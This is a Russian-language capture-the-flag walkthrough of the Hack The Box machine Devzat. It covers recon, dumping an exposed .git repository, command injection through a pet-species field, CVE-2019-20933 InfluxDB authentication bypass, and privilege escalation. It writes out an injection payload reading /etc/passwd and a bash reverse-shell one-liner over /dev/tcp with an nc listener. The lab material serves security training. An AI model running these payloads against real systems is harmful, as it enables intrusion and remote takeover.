Найти тему

Прохождение машины Devzat на HTB (Hack The Box)

Оглавление

Прохождение машины Devzat на Hack The Box
Прохождение машины Devzat на Hack The Box

Всем привет! Сегодня разберём прохождение Medium-машины Devzat на Hack The Box. Из данной статьи вы узнаете, как правильно использовать утилиту gitdumper (о которой мы ранее писали), научитесь пользоваться полезным инструментом chisel и эксплуатировать уязвимость CVE-2019-20933.

Разведка

Любое исследование начинается с разведки. В качестве основного инструмента для первоначального анализа машины используем nmap.

Nmap

Запустим сканирование машины и посмотрим открытые порты и сервисы на них. Сканировать будем все TCP порты с параметрами -sCV (для использования стандартных скриптов и обнаружения версий сервисов):

nmap -sCV -p- 10.10.11.106

Nmap нашел 3 открытых TCP порта, 22 (SSH), 8000 (SSH) и 80 (HTTP).

-2

Судя по версиям OpenSSH и Apache, можно предположить, что перед нами Ubuntu 20.04.

На 80 порту происходит перенаправление на http://devzat.htb, добавим полученные данные в /etc/hosts:

10.10.11.118 devzat.htb

Поиск доменов

Используя полученную информацию о доменах, можно запустить поиск поддоменов с помощью gobuster. Будем использовать режим vhost, словарь subdomains-top1million-5000.txt из пакета seclists и опцию -r для перенаправления (без этой опции будет выводить все домены с 302 ошибкой).

gobuster vhost -u http://devzat.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -r

-3

Добавим найденный домен pets.devzat.htb в /etc/hosts:

10.10.11.118 devzat.htb pets.devzat.htb

devzat.htb TCP 80

Заходим на сайт, на нём видим описание чата Devzat:

-4

Выполним поиск полезной информации на странице. В тексте можно найти инструкцию по подключению к чату, который развернут на 8000 порту (ранее мы его обнаружили на этапе сетевой разведки) и имя пользователя patrick в секции Email.

Другие ссылки не активны и ведут на главную страницу.

Программное обеспечение

Используя расширение для браузера Wappalyzer узнаем, что сайт использует библиотеку jQuery 3.4.1, а в качестве сервера выступает Apache 2.4.41 на Ubuntu.

-5

Перебор директорий

Для перебора директорий сайта будем использовать feroxbuster.

-6
-7

devzat chat TCP 8000

На этапе разведки был обнаружен порт SSH 8000. Кроме того, на сайте devzat.htb была найдена команда подключения к серверу devzat. Попробуем её выполнить и зайти на сервер devzat:

-8

Выполнив поиск ssh чатов, был обнаружен одноименный чат клиент devzat. Уязвимостей для него обнаружено не было.

Для получения справки можно использовать команду /help, а для получения списка всех команд /command.

-9

Попробовав все команды, решаем подключиться к чату, использовав имя пользователя admin. При подключении пользователем admin получаем ошибку, что данная учетная запись зарезервирована для локальных нужд.

Используя трюк с подменой имени, введем имя admin в верхнем регистре и получим доступ к новой информации.

-10

Из переписки admin и patrick (мы уже встречали имя на сайте) узнаем, что admin настроил influxdb. Снаружи influxdb не доступна, значит запомним это на будущее.

Список команд для пользователя admin такой же, как и для простого пользователя.

Попробуем войти в чат под пользователем patrick. Его имя также зарезервировано, используя трюк с подменой имени, входим в чат, однако ничего нового не получаем – там такое же сообщение, как и для пользователя admin.

-11

pets.devzat.htb

Сайт представляет собой web-клиент для базы данных питомцев, с возможностями просмотра, добавления и удаления записей.

-12

Есть форма добавления нового питомца в базу.

Пользователь может выбрать только имя для питомца и указать вид. Описание изменить нельзя, и оно устанавливается на сервере для каждого вида питомца. Кроме того, после перезагрузки страницы добавленный питомец удаляется.

-13

При нажатии на кнопку удаления питомца сайт говорит, что данная возможность ещё не реализована.

-14

Анализ запросов

При отправке запроса на добавление нового питомца браузер выполняет POST запрос на /api/pet.

-15

Перебор директорий

Для перебора директорий сайта будем использовать feroxbuster cо словарем common.txt из состава пакета seclists.

В результате находим папку .git. Посетив pets.devzat.htb/.git убеждаемся в том что это git репозиторий.

-16

.git

Для получения данных из папки .git можно воспользоваться утилитой git-dumper.

git-dumper сначала проверяет, доступен ли листинг директорий и если это так, то он рекурсивно загружает каталог .git (это можно также сделать с помощью wget). Однако, он также подходит и для тех случаев, когда листинг директорий не доступен. В этом случае утилита git-dumper будет использовать несколько методов, чтобы найти как можно больше файлов.
-17

Репозиторий содержит одну ветку master и 3 коммита, а также несколько файлов исходных кодов. Сервис написан на go.

-18

Выполним анализ исходных кодов. В файле main.go обнаружим интересную функцию loadCharacter, который использует команду exec.Command для выполнения команды cat characteristics/species на сервере.

-19

loadCharacter используется при построении “базы питомцев” на сайте pets.devzat.htb и в функции добавления нового питомца addPet.

-20

Из-за того, что отсутствует валидация вводимых в species данных, то можно выполнить RCE.

Получение доступа

Удаленное выполнение команд (RCE)

Строка исходного кода:

cmd := exec.Command("sh", "-c", "cat characteristics/"+species)

отвечает за удаленное выполнение команды, если в поле species вставить команду.

Если использовать строку species как cat; cat /etc/passwd, то можно получить содержимое файла /etc/passwd. Для того, чтобы увидеть содержимое файла необходимо использовать repeater из состава BurpSuite и выполнять обновление страницы сайта pets.devzat.htb.

-21
-22

Reverse shell

Для получения reverse shell необходимо заменить команду cat /etc/passwd на команду bash reverse shell:

bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"

Поставим прослушивать порт с помощью команды nc:

rlwrap nc -lnvp 1337

Отправим следующий запрос с помощью BurpSuite repeater:

-23

Получим reverse shell за пользователя patrick.

-24

Повышение привилегий

Анализ системы

Домашняя папка patrick содержит исходники devzat и pets сайтов.

-25

Кроме patrick тут есть ещё пользователь catherine у которого находится файл user.txt.

-26

Для упрощения подключения добавим свой публичный ключ SSH на машину.

Чтобы подключаться по ssh с помощью private key необходимо сгенерировать новую пару ключей: ssh-keygen
Затем добавить на удаленную машину публичный ключ .pub в файл /home/user/.ssh/authorized_keys.
Для подключения к удаленной машине использовать команду: ssh -I private_key user@x.x.x.x

LinPeas

Загрузим на машину скрипт LinPEAS для поиска путей повышения привилегий.

В ходе изучения вывода LinPEAS обнаружим, что изнутри машины доступны 3 сервиса: 8443, 5000 (petshop) и 8086.

-27

Порт 5000 это Proxy для pets.devzat.htb.

-28

8086 это порт сервиса InfluxDB HTTP.

8443 – неизвестный порт.

InfluxDB

Проброс портов

Для анализа портов 8086 и 8443 можно применить проброс портов с помощью утилиты chisel.

Chisel - это быстрый туннель TCP / UDP, передаваемый по протоколу HTTP и защищенный через SSH. Включающий как клиент, так и сервер. Написано на языке Go (golang).

Запускаем сервер, клиент chisel и выполняем проброс порта 8086.

-29
-30

Для определения сервиса выполним команду:

-31

Таким образом, обнаруживаем, что версия InfluxDB 1.7.5. Выполним поиск уязвимостей и публичных эксплоитов. Обнаруживаем уязвимость и публичный эксплоит CVE-2019-20933, позволяющую читать содержимое базы данных без авторизации.

-32

Эксплуатация CVE-2019-20933

Уязвимость CVE-2019-20933 существует в InfluxDB до 1.7.6. и позволяет обойти процедуру аутентификации. Проблема возникает в функции аутентификации в services/httpd/handler.go из-за того, что JWT может иметь пустой SharedSecret.

Запускаем обнаруженный эксплоит на машине с сервером chisel (там проброшены порты и порт 8086 виден как локальный). Хост оказывается уязвимым и имя пользователя – admin.

-33

На хосте две базы данных – выбираем devzat. Таблицы в InfluxDB называются measurements. С помощью команды show measurements находим единственную таблицу user:

-34

Получаем содержимое таблицы user с помощью команды select * from “user”:

-35

Обнаруживаем пароль пользователя catherine и пробуем его для получения доступа.

В домашней директории Catherine находим файл с флагом “user.txt”.

-36

Путь до root

devzat dev

Подключаемся к серверу devzat как пользователь сatherine:

-37

Из данной переписки узнаем, что 8443 порт используется для dev образа devzat и Patrick реализовал новую возможность на нём. Также в переписке сказано, что для получения доступа к новой возможности нужен пароль и его можно найти в исходных кодах образа devzat, который лежит в “backups”.

В папке /var/backups можно найти два архива – main и dev:

-38

Распакуем содержимое обоих архивов и сравним папки с помощью команды diff:

-39
-40

Изучая разницу между папками, замечаем, что patrick добавил новую возможность чтения файлов. fileCommand принимает два аргумента – файл и пароль. Пароль вбит в код.

Получение флага root.txt

Подключаемся к devzat dev чату и получаем больше подсказок (но они уже не нужны).

Выводим список команд и видим новую команду /file. Она принимает 2 аргумента – файл и пароль. Пароль получен на предыдущем шаге.

-41

Осталось только подобрать правильный путь до файла /root/root.txt и можно забирать флаг “root.txt”.

-42

Подписывайтесь на наш паблик ВКонтактеTelegramЯндекс.Дзен, канал на YouTube и RuTube чтобы не пропустить новые Прохождения машин на Hack The Box!

#HTB #hACKTHEBOX #DEVZAT #HACKING #HACKER #ПЕНТЕСТ #кибербезопасность #cybersecurity #SECWARE #информационная безопасность